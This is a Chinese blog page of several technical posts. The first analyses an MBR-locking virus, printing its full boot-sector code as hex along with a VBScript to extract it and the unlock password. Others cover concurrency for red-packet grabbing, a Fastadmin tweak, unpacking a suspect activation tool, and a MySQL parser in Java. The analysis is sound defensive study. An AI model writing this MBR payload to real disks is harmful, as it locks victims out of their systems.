【闲篇】对一款MBR病毒的分析

MBR是主引导记录,能不能进入系统全指望它。现在有些病毒也瞄上了它。刚看帖看到一个人说中了这种病毒,并给了一个样本,所以就分析一下。如有错误还望指出。


中毒后表现:(由于第一次直接解密后mbr已经清掉。所以显示的ID和分析的不一致。)


屏幕快照 2019-01-15 下午10.04.59.png


主程序是一个vm加壳后的程序,运行后有一个界面,有一个按钮,点击后会重写你的mbr,mbr代码如下。


屏幕快照 2019-01-15 下午9.57.39.png


上述是mbr的十六进制展示格式,要分析的话还是需要转换成字节。写了个VBScript的脚本来做转换。



WriteData = "E900008CC88ED88ED08EC0BC0001BDED7CBBED7CE8B00089C1B80113BB0C00B200CD10B800B805A0008ED831C931DB31C0CD163C0874133C0D741BB402880788670181C3020041E9E5FF81EB02004931C08907E9D9FF8CC88EC031DBBEDA7C2E8A0ED97CB5003E8A07268A2438E0753181C3020046E2EF31C0B8007E8EC031DBB402B280B001B600B500B103CD1331DBB280B403B001B600B500B101CD13E91D00BB00B881C33800B05888072E8B0ED97C31C0890781C30200E2F8E945FFB8FFFF50B8000050CB51533E8A0F80F90074054340E9F3FF595BC307394439373346670000000000000000000000005151333339363239363734370D0A5151333131303038333234380D0A0D0A594F5552204944203D2042433033620D0A0D0A42793A58692059616E672059616E67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055AA"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetFolder(".").Path & "\1.exe"
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
msgbox Mid(WriteData,i,2)
FileObj.Write chrw(cbyte("&h" & mid(WriteData,i,2)))
Next
FileObj.Close
End If


然后分析这个1.exe就可以了,拖到ida里,代码很少,只有512个字节,这也是mbr的固定大小。可以看到如下的关键代码,为了方便观看,所以备注了。



其中的39H,44H,39H,37H,33H,46H,67H就是密码。转成字符串就可以了。

http协议Mysql的高并发抢红包处理

1、Mysql 事物处理的问题


假设字段S-RedNum是红包数量,有三个客户端S-A,S-B,S-C。下面是正常的流程。


微信图片_20181230172859.png


上图是三个客户端请求不在一个时间线上,所以服务端可以分别处理,不会造成并发现象。


假设:三个客户的同时请求,这种情况是很多的。然后会造成什么情况?即使加了事物,当S-A读取完红包数走处理加钱逻辑的时候,注意这个时候事物并没有提交给数据库,所以红包数还是3,这时S-B请求过来了,由于事物的特性,S-B获取的红包数还是3。这样就造成了“脏读”,即S-B读取的数据是S-A事物还没有提交的数据。所以事物并不是解决高并发的,而是确保你的执行代码块是有效的,即要么全部成功,要么回滚到初始状态。


2、Mysql 加锁问题

这种情况应该是加一个X锁,即排它锁。它是一个有效的方法,但是并不是一个合理的方法。排它锁是在写入的时候不可读。这会造成一个问题。比方说S-A正在写入,这个时候由于是排它锁,所以S-B,S-C过来后无法读取,那么可能会返给前端说已经没有红包,其实红包还有,只是S-A在写数据,其余的请求无法获取对应的红包数而已。如果说S-B在请求的时候如果判断为没有红包而进行死循环等待,其实也是不行的。在并发数大的情况下,S-B,S-C...S-N都会进行等待,这个等待时间如何控制?要知道http是需要设置超时时间的。超过了时间还是要返回给前端。


加锁会造成的情况:S-A在写入,S-B返回无红包,S-C却是正好在S-A写完后进来的,所以S-C又可以拆的红包。S-B就会漏掉红包,但是它确实是抢红包较早的用户。


3、临界

临界可以理解为一种加锁,只有你申请到了临界牌才可以进入临界进行操作,但是这也会造成标题2的问题。


4、redis对高并发

redis提供的指令都是具有原子性的,即不会被线程调度机制所打断,也就是不会被时间切片。lpush llen 这些操作同样具备原子性,但是在业务处理中,需要的是一系列的指令集合,这些指令集合可以理解为代码块,如果将具备原子性的指令组成代码块,那么这个代码块是不具备原子性的,有被打断的可能,如果被打断,其他线程的指令又过来操作数据,那么会造成标题2中提到的加锁问题。造成的结果是一样样的。即使你用setnx这类加锁指令也是一样的。


大多数的处理:使用pop命令,即预先把红包数存入栈中,然后每次pop出来,因为这个pop是具备原子性的,所以可以有效的解决高并发抢红包问题,并且它也是合理的。




5、高并发的解决思路:队列方式

注意这里说的一种思路是队列的方式,即把用户请求排队,尝试利用php来实现队列的操作,但是发现这种操作无法保证原子性,因为php的指令绝大部分是不支持原子性的,后来想自己实现原子性函数,但是发现原子性函数的实现php是无法完成的,需要用汇编语言直接编写。汇编我只学习了8086处理器的编写方法,Linux还并没有技术积累,而且即使写了具备原子性的函数,如何和php进行沟通,这又是一个问题。所以用php或者汇编来编写具备原子性的函数的方法搁浅~~~


6、高并发的解决思路:Socket

在看了redis和memcached的使用方法,看到它们都是做了一个tcp的监听,于是发现是不是可以利用socket的特性来做高并发处理,但是php要实现常驻socket需要cli模式运行,所以大多数情况下,php不作为socket服务端,而是只作为客户端。


变通思路:利用c++语言编写php扩展,实现socket服务端监听,而php作为客户端与服务端进行通讯,好处是可以实现分布式部署。


实现:


这里我用c++语言做了一个服务端的监听,并且利用php来做请求,实际php代码和监听服务端是在同一服务器内。注意,我这里的模式是阻塞模式,最好是像redis那样利用epoll来做一个非阻塞模式的socket。


SOCKET connSocket = accept(serverSocket, (SOCKADDR*)&clientAddr, &len);
char recvBuf[14]={}; //注意对你申请的栈进行置空,不然会有乱码
recv(connSocket, recvBuf, 14, 0);
if(redPack>0)
{
   sprintf_s(sendBuf, "成功:%s", inet_ntoa(clientAddr.sin_addr));
   redPack--;
   printf("当前红包数:%d | 请求时间戳:",redPack);
}
else
{
    sprintf_s(sendBuf, "失败:%s", inet_ntoa(clientAddr.sin_addr));
    printf("红包已拆完 | 请求时间戳:");
}

然后php端

if(!socket_write($socket, $in, strlen($in))) {
    return json(['r'=>0,'m'=>'抢红包成功']);
}


执行结果,这里我并发了200个请求,对于数量较多的请求需要看你服务器的吞吐量。


微信截图_20181230194557.png


可以看到相同的时间戳下,抢红包还是正确的。并且现在已经精确到了毫秒。



socket 阻塞模式下,socket并不会同时处理多个请求,而会一个一个请求,其余多的请求会放在缓存中等待,这是socket的内部实现机制。



对待真实的请求,我觉得还是要具体问题具体分析,并不是一种方式能够解决的,socket还有很多问题,比如多个红包,你要怎么做处理,怎么和php进行协作,这就涉及到了内存操作,而内存操作实际更为复杂,因为内存里是没有变量类型这一说法的,所以你要自己实现内存的操作模块,这里就涉及到了你的存储方法,如果是链表的话,那你要完全实现一套链表的增删改查,而且是否还需要处理“原子性”问题,这些都是要考虑进去的,并且阻塞模式是非常不推荐的,所以你要实现非阻塞模式,而这种方式你试后会发现......... 。



写这篇文章和demo主要是记录查阅资料过程中学习到的知识点。不保证正确性,因为好多概念还比较懵懂。如有错误还望指出。

Fastadmin 自定义请求参数

Fastadmin的table数据是通过Bootstrap Table来实现的,所以需要覆盖它的方法。这里是直接修改的require-table.js来实现的全局管理,如果不需要全局管理,可直接按照同样的方法修改html对应的js文件。


修改require-table.js里面的defaults新增一个对象queryParams,queryParams是一个函数对象,其中有一个参数,这个参数是Bootstrap Table本身的一些请求参数,可以在后面追加自己的自定义参数,然后返回就可以了。完整代码如下:

        defaults: {
            url: '',
            sidePagination: 'server',
            method: 'get', //请求方法
            toolbar: ".toolbar", //工具栏
            search: true, //是否启用快速搜索
            cache: false,
            commonSearch: true, //是否启用通用搜索
            searchFormVisible: false, //是否始终显示搜索表单
            titleForm: '', //为空则不显示标题,不定义默认显示:普通搜索
            idTable: 'commonTable',
            showExport: true,
            exportDataType: "all",
            exportTypes: ['json', 'xml', 'csv', 'txt', 'doc', 'excel'],
            pageSize: 10,
            pageList: [10, 25, 50, 'All'],
            pagination: true,
            clickToSelect: true, //是否启用点击选中
            dblClickToEdit: true, //是否启用双击编辑
            singleSelect: false, //是否启用单选
            showRefresh: false,
            locale: 'zh-CN',
            showToggle: true,
            showColumns: true,
            pk: 'id',
            sortName: 'id',
            sortOrder: 'desc',
            paginationFirstText: __("First"),
            paginationPreText: __("Previous"),
            paginationNextText: __("Next"),
            paginationLastText: __("Last"),
            cardView: false, //卡片视图
            checkOnInit: true, //是否在初始化时判断
            escape: true, //是否对内容进行转义
            extend: {
                index_url: '',
                add_url: '',
                edit_url: '',
                del_url: '',
                import_url: '',
                multi_url: '',
                dragsort_url: 'ajax/weigh',
            }, queryParams: function (params) {
                console.log(window.location.href);
                var url_http=window.location.href;
                var url=url_http.match(/ids(.*?)[1-9]\d*/g);
                if(url != null){
                    if(url.length>0){
                        params.ids= url[0].replace('ids/',"");
                    }
                }
                return params;
            }
        },


浅酌小饮之激活工具的问题

前几天用激活工具激活系统的时候提示成功,但是重启电脑后无法正确开机,最后重装。今天同事告诉我,他激活后无限重启。于是我就想研究研究这个激活工具,下载了同事说的会让他无限重启的一个激活工具不知道版本是否正确。


屏幕快照 2018-12-21 下午11.03.00.png

看第一条pushad指令感觉它是加了一个压缩壳,所以用ESP寄存器脱一下壳就好了,不然后面的RC数据你是拿不到的。我第一次脱得时候直接卡住了调试工具。于是用了一个以前的技术脱壳的。


屏幕快照 2018-12-21 下午10.27.17.png


首先选择纠正映像大小,因为你载入内存这个大小是会变的,所以你还要修复一下。然后在点击完整脱壳。这种脱壳方式有个不好的地方就是它的输入输出表有可能不会帮你完整的dump下来。所以你还要在修复输入输出表。


屏幕快照 2018-12-21 下午10.26.25.png


一般遇到强壳,修复输入输出表指针的时候会出现问题。因为壳把你的指针给隐藏或者抽离再或者混淆。办法很多,所以这里的指针修复的话也有三个等级。都不行的话 可以尝试直接删除无效的指针。不过这次比较好,都是有效指针,直接转存修复就好了。


屏幕快照 2018-12-21 下午11.08.16.png


这个时候你在转存修复。就会是一个push ebp 一个32位的ebp寄存器入栈的操作,这个也叫领空。领空的开始代表是一个子程序的开始,只不过这里是主线程。


我尝试着找到了界面上激活的功能子程序开头。


屏幕快照 2018-12-21 下午11.10.47.png

但是进入其中一个call的时候会出现长时间等待,然后提示不支持我的系统。因为我的系统是xp。那没办法,直接静态的大致看一下流程。实际可以用ida来看,不过大晚上就不折腾了。看了下流程基本上是这样的:


检测360杀毒->KMS服务安装->slmgr->x0 


由于同事提到重启,我也看了下这个程序有没有调用系统的重启命令。发现并没有。这里提一下,所有的重启系统的操作最后都会接管到系统的ExitWindowsEx函数。


BOOL ExitWindowsEx(
  UINT  uFlags,
  DWORD dwReason
);


最后发现造成我系统无法进入系统的问题应该是引导被破坏了,因为这个软件进行了引导的读写操作,win10的引导实际和win7的方式不一样,采用了一个新的引导方式。所以可能不兼容导致我的电脑无法开机。同事的重启我倒是没看到为什么。有时间的话,后续也许会下载同事用的版本在好好的分析看看,这次只是因为好久不更新文章了,强行刷一篇吧。

编写语法分析器分析Mysql字段

看了一段时间的开发语言类的书籍,写了个小的例子,它定义了Mysql创建语句的语法表达式,实现了一个最小的语法解析器。


语法分析器原理图(个人理解):


开始.png


Mysql语句:

CREATE TABLE `fa_category` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `pid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '父ID',
  `type` varchar(30) NOT NULL DEFAULT '' COMMENT '栏目类型',
  `name` varchar(30) NOT NULL DEFAULT '',
  `nickname` varchar(50) NOT NULL DEFAULT '',
  `flag` set('hot','index','recommend') NOT NULL DEFAULT '',
  `image` varchar(100) NOT NULL DEFAULT '' COMMENT '图片',
  `keywords` varchar(255) NOT NULL DEFAULT '' COMMENT '关键字',
  `description` varchar(255) NOT NULL DEFAULT '' COMMENT '描述',
  `diyname` varchar(30) NOT NULL DEFAULT '' COMMENT '自定义名称',
  `createtime` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '创建时间',
  `updatetime` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '更新时间',
  `weigh` int(10) NOT NULL DEFAULT '0' COMMENT '权重',
  `status` varchar(30) NOT NULL DEFAULT '' COMMENT '状态',
  PRIMARY KEY (`id`),
  KEY `weigh` (`weigh`,`id`),
  KEY `pid` (`pid`)
) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT COMMENT='分类表';


词法分析:

import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;
/**
 * 词法分析器 注:会分析出非终结符
 */
public class lexicalAnalysis {
    /**
     * 分析出终结符或者非终结符
     * @param codeStr
     * @return
     */
    public static List<String> lex(String codeStr){
        //词法Token
        List<String> lexToken=new ArrayList<String>();;
        if("".equals(codeStr)) return null;
        String orignal = null;
        try {
            String tmpToken="";
            //对中文进行处理
            orignal = new String(codeStr.getBytes(), "UTF-8");
            for (int i = 0; i < orignal.length(); i++) {
                String ch =String.valueOf(orignal.charAt(i));
                if(ch.equals(" ") || ch.equals("(") || ch.equals(")"))
                {
                    if(!tmpToken.equals("")){
                        lexToken.add(tmpToken);
                        tmpToken="";
                    }
                }
                else
                {
                    tmpToken=tmpToken+ch;
                }
            }
            //追加上最后一个临时Token
            if(!tmpToken.equals("")) lexToken.add(tmpToken);
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return null;
        }
        //返回词法Token
        return lexToken;
    }
}


效果:

词法分析-示例.png


语法解析:

import java.util.List;
/**
 * 解析指定表达式的语法分析器
 */
public class syntaxParsing {
    /**
     * 分析字段的语法解析器
     *
     * @param curr 当前的字段
     * @param nex  下一个字段
     * @return 是否是产生式
     */
    public static boolean parsing(String curr, String nex) {
        /**
         *  ①明确匹配产生式
         *  ②这里简单的认为:字段定义:字段类型 即为字段定义的产生式
         *  ③字段定义展开的产生式:重音符:字段名:重音符
         *  ④字段类型展开的产生式:内部字段名:参数(可选)
         **/
        if (curr.length() > 3)
            if (curr.substring(0, 1).equals("`")  && curr.substring(curr.length() - 1, curr.length()).equals("`") && internalType(nex))
                return true;
            else return false;
        else return false;
    }
    /**
     * 判断Token是否是内部定义的类型
     *
     * @param nex 需要判断的Token
     * @return
     */
    public static boolean internalType(String nex) {
        /**
         * 这里不再对类型定义做产生式,而是粗略的进行判断
         */
        //转换为小写
        String i_nex = nex.toLowerCase();
        //判断是否是内部定义类型 :类型定义提取自nacicat for mysql
        switch (i_nex) {
            case "tinyint":
                return true;
            case "smallint":
                return true;
            case "mediumint":
                return true;
            case "int":
                return true;
            case "integer":
                return true;
            case "bigint":
                return true;
            case "float":
                return true;
            case "double":
                return true;
            case "char":
                return true;
            case "varchar":
                return true;
            case "tinyblob":
                return true;
            case "tinytext":
                return true;
            case "blob":
                return true;
            case "text":
                return true;
            case "mediumblob":
                return true;
            case "mediumtext":
                return true;
            case "longblob":
                return true;
            case "longtext":
                return true;
            case "date":
                return true;
            case "time":
                return true;
            case "year":
                return true;
            case "datetime":
                return true;
            case "timestamp":
                return true;
            case "set":
                return true;
        }
        return false;
    }
}


效果:

语法解析.png

源代码:https://github.com/iwonmo/Mysql-field-parsing